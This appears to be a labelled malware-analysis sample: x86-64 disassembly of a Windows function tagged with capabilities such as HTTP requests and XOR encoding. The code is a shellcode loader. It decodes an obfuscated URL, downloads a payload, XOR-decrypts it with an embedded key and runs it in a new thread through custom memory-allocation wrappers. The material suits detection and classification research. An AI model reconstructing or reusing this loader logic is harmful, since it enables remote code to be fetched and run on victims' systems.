Function at 0x140001070
Capabilities:
Create http request
Encode data using xor
Get system information on windows
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rbp - 0x74]
mov eax, 0x1000
mov r8d, dword [rbp - 0x50]
test rcx, rcx
mov rdi, qword [rbp - 0x70]
mov r12, qword [rbp - 0x68]
cmove ecx, eax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], r8
test r8, r8
jne 0x1400010df
mov qword [rsp + 0x78], 0x10000
mov r8d, 0x10000
xor edx, edx
mov qword [rsp + 0x190], rbx
mov eax, 0x439f0
div r8
xor edx, edx
lea r13d, [rax + 1]
mov rax, r8
div rcx
mov qword [rsp + 0x60], r13
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
cmp rdi, r12
jae 0x14000118f
nop dword [rax]
nop word [rax + rax]
mov r9d, 0x30
lea r8, [rbp - 0x40]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [rbp - 0x20], 0x10000
jne 0x140001185
mov eax, r15d
xor ebx, ebx
imul eax, r13d
movsxd r14, eax
test eax, eax
je 0x140001180
nop
mov rdx, rbx
lea r8, [rbp - 0x40]
imul rdx, qword [rsp + 0x68]
mov r9d, 0x30
mov rcx, rsi
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [rbp - 0x20], 0x10000
jne 0x140001180
inc rbx
cmp rbx, r14
jb 0x140001150
cmp rbx, r14
je 0x14000118f
add rdi, qword [rsp + 0x68]
cmp rdi, r12
jb 0x140001120
xor eax, eax
mov qword [rsp + 0x70], rdi
xorps xmm0, xmm0
mov qword [rbp + 0x10], rax
xor r14d, r14d
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
test r13d, r13d
je 0x140001296
lea rbx, [rbp - 0x10]
nop word [rax + rax]
mov dword [rsp + 0x28], 1
lea r9, [rsp + 0x78]
xor r8d, r8d
mov dword [rsp + 0x20], 0x2000
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140001521
test eax, eax
jne 0x1400014c7
mov rax, qword [rsp + 0x70]
inc r14d
mov qword [rbx], rax
add rbx, 8
add rax, qword [rsp + 0x78]
mov qword [rsp + 0x70], rax
cmp r14d, r13d
jb 0x1400011c0
mov rdx, qword [rsp + 0x68]
lea r13, [rbp - 0x10]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rdi
xor edi, edi
xor r12d, r12d
xor ebx, ebx
test r15d, r15d
je 0x140001285
mov r14, qword [r13]
nop
mov ecx, edx
imul ecx, ebx
add rcx, r14
mov qword [rsp + 0x70], rcx
cmp edi, 0x439f0
ja 0x140001280
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140001521
test eax, eax
jne 0x1400014fa
mov rdx, qword [rsp + 0x68]
inc ebx
add edi, edx
cmp ebx, r15d
jb 0x140001230
mov rax, qword [rsp + 0x60]
inc r12d
add r13, 8
cmp r12d, eax
jb 0x140001223
mov r13, qword [rsp + 0x60]
movzx eax, word [0x1400032c0]
lea rcx, [rbp + 0x28]
movups xmm0, xmmword [0x1400032a0]
mov word [rbp + 0x48], ax
mov rbx, 0xffffffffffffffff
movzx eax, byte [0x1400032c2]
xor r9d, r9d
movups xmm1, xmmword [0x1400032b0]
mov byte [rbp + 0x4a], al
mov rax, rbx
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm1
inc rax
cmp byte [rcx + rax], r9b
jne 0x1400012d2
test rax, rax
je 0x140001313
lea r8, [rbp + 0x28]
nop dword [rax]
nop dword [rax + rax]
xor byte [r8], 0x77
lea r8, [r8 + 1]
inc r9d
lea rax, [rbp + 0x28]
mov rcx, rbx
inc rcx
cmp byte [rax + rcx], 0
jne 0x140001302
movsxd rax, r9d
cmp rax, rcx
jb 0x1400012f0
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, qword [rbp - 0x10]
lea r9, [rbp - 0x48]
mov rdx, rdi
mov rcx, rax
mov r8d, 0x439f0
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [0x1400032e0]
xor r8d, r8d
movsd xmm0, qword [str.senhaoanqvan]
mov dword [rbp + 0x20], eax
movzx eax, byte [0x1400032e4]
mov byte [rbp + 0x24], al
lea rax, [rbp + 0x18]
movsd qword [rbp + 0x18], xmm0
inc rbx
cmp byte [rax + rbx], r8b
jne 0x140001397
movsxd r9, ebx
xor eax, eax
mov rdx, rdi
nop dword [rax + rax]
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, r9
cmovl rcx, rax
inc r8d
movzx eax, byte [rbp + rcx + 0x18]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
cmp r8d, 0x439f0
jb 0x1400013b0
xor edi, edi
xor r12d, r12d
test r13d, r13d
je 0x14000145d
mov rdx, qword [rsp + 0x68]
lea r13, [rbp - 0x10]
mov rax, qword [rsp + 0x60]
nop dword [rax]
xor ebx, ebx
test r15d, r15d
je 0x140001451
mov r14, qword [r13]
nop dword [rax + rax]
mov ecx, edx
imul ecx, ebx
add rcx, r14
mov qword [rsp + 0x70], rcx
cmp edi, 0x439f0
ja 0x14000144c
add edi, edx
lea rax, [rbp - 0x44]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x68]
mov rcx, rsi
call fcn.14000155d
test eax, eax
jne 0x14000150d
mov rdx, qword [rsp + 0x68]
inc ebx
cmp ebx, r15d
jb 0x140001400
mov rax, qword [rsp + 0x60]
inc r12d
add r13, 8
cmp r12d, eax
jb 0x1400013f0
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x50], 0
mov r9, rsi
mov qword [rsp + 0x48], 0
xor r8d, r8d
mov qword [rsp + 0x40], 0
mov edx, 0x1fffff
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x80], 0
call fcn.140001574
test eax, eax
je 0x1400014c7
lea rcx, str.CreateThread_fail_n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x190]
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140001590
lea r11, [rsp + 0x160]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, str.MyNtAllocateVirtualMemory_fail
call fcn.140001010
mov eax, 4
jmp 0x1400014c9
lea rcx, str.MyNtProtectVirtualMemory_fail
call fcn.140001010
mov eax, 4
jmp 0x1400014c9